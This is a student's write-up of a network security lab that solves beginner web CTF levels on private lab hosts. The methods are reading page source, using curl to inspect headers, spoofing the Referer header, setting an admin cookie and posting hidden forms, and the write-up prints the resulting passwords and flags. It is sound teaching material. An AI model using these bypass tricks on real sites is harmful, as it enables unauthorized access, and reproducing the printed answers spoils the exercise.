Network Security Lab 1¶

Goal¶

Lab 01 aims to practice commonly used tools for packet sniffing, packet crafting, and port scanning.

For packet sniffing and packet crafting, we use basic web exploitation CTF challenges for example. Solving these challenges helps to understand the HTTP protocol and technologies involved in information transfer and display over the internet like PHP, CMS's (e.g., Django), SQL, Javascript, and more.

Tasks¶

Task 1: http://10.15.111.100/game1¶

Level 1.¶

Press F12 to toggle the developer tools of Chrome, we can find the comment with password and the real check process in the source code:

Input 029c64152b6954e91d39183f8d2e07a9 then we can enter the next level.

Level 2.¶

This page just add a script to detect openning of context menu. So F12 still works:

Input b910592a8ff0f56123105740c1735eb0 to enter the next level.

Level 3.¶

We can't find flag in the source code of this level. Then try to curl it with verbose mode:

We can find the flag in the response header.

Task 2: http://10.15.111.100/game2¶

Level 1.¶

With the comment in the page source, we can notice that there has a 302 redirection. Then we curl it with verbose mode:

Level 2.¶

Note that we need to make us looks like referer from http://localhost/. We can set the referer field in the request header. A method to do this is to use curl with --referer option:

And then we can find the password in the html code of response:

Level 3.¶

In the comment of the page source, it tells us that this level works with a cookie. In the "Application" part of develop tools, we can find that there is a cookie admin: 0. So we can change it to 1 in the develop tools and refresh the page:

Also, we can use curl to set cookie:

❯ curl -v http://10.15.111.100/game2/f451899344a962d6d27a73e2902f8e51.php --cookie "admin=1"
*   Trying 10.15.111.100:80...
* Connected to 10.15.111.100 (10.15.111.100) port 80 (#0)
> GET /game2/f451899344a962d6d27a73e2902f8e51.php HTTP/1.1
> Host: 10.15.111.100
> User-Agent: curl/7.71.1
> Accept: */*
> Cookie: admin=1
>

...

Flag 只有来自 admin 才看得到。
Ok, give you flag: ACTF{47ca8aa874ba92a43621d5ff8cde0cdf}<!--Do you know how http cookie worked? -->
...

Task 3: http://10.214.160.13:10000/¶

Level 1.¶

The comment hint that there is a 1.php.bak still exists. So we can access and download it. Then we can find the entry of the next level:

<a href="the2nd.php">进入第二关</a>

Level 2 & 3.¶

In the second level, there is a button, whatever you submit, it always redirect to 3rd.php which ask you "where are you from" and then redirect back to the2nd.php:

❯ curl -X POST -d "text=" http://10.214.160.13:10000/the2nd.php
...
    jumping...
    <script>
        function jump(url){
            document.body.appendChild(document.createElement('iframe')).src='javascript:"<script>top.location.replace(\''+url+'\')<\/script>"';
        }
        setInterval("jump('3rd.php')",2000);
...
❯ curl http://10.214.160.13:10000/3rd.php
<script>alert('你从哪里来？');window.location='the2nd.php';</script>

With the same idea of task 2 level 2, we can set the referer field to http://10.214.160.13:10000/the2nd.php to "answer" the "question":

❯ curl --referer http://10.214.160.13:10000/the2nd.php -v http://10.214.160.13:10000/3rd.php
*   Trying 10.214.160.13:10000...
* Connected to 10.214.160.13 (10.214.160.13) port 10000 (#0)
> GET /3rd.php HTTP/1.1
> Host: 10.214.160.13:10000
> User-Agent: curl/7.71.1
> Accept: */*
> Referer: http://10.214.160.13:10000/the2nd.php
>
...
<button type="button" onclick="javascript:location.href='di4guan.php'">你又要到哪里去</button>
...

Level 4.¶

No any information in the page source. Then try to curl and get the response header:

We can find Next: wozaizheli.php

Level 5.¶

Through the page source, we can find the form details:

<script>
function joy(){
    document.getElementById("joy").style.display="none";
}
</script>
点击按钮就能拿到flag啦~<br>
<div id="joy" onmouseover="joy()">
<form method="post">
<input type="hidden" value="HIT" name="HIT"/>
<input type="submit" value="点我" style="display:block" id="submit" name="submit"/>
</div>
</body>

So normally we can't press the button because it will disappear when we move the mouse to it. We can use curl to submit the form:

❯ curl -X POST -d "HIT=HIT" http://10.214.160.13:10000/wozaizheli.php
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <meta http-equiv="Content-Language" content="zh-CN" />
</head>
<body>
<div align="center">
<script>
function joy(){
    document.getElementById("joy").style.display="none";
}
</script>
点击按钮就能拿到flag啦~<br>
<div id="joy" onmouseover="joy()">
<form method="post">
<input type="hidden" value="HIT" name="HIT"/>
<input type="submit" value="点我" style="display:block" id="submit" name="submit"/>
</div>
flag:  AAA{y0u_2a_g0od_front-end_Web_developer}</body>
</html>

Then we find the flag: AAA{y0u_2a_g0od_front-end_Web_developer}.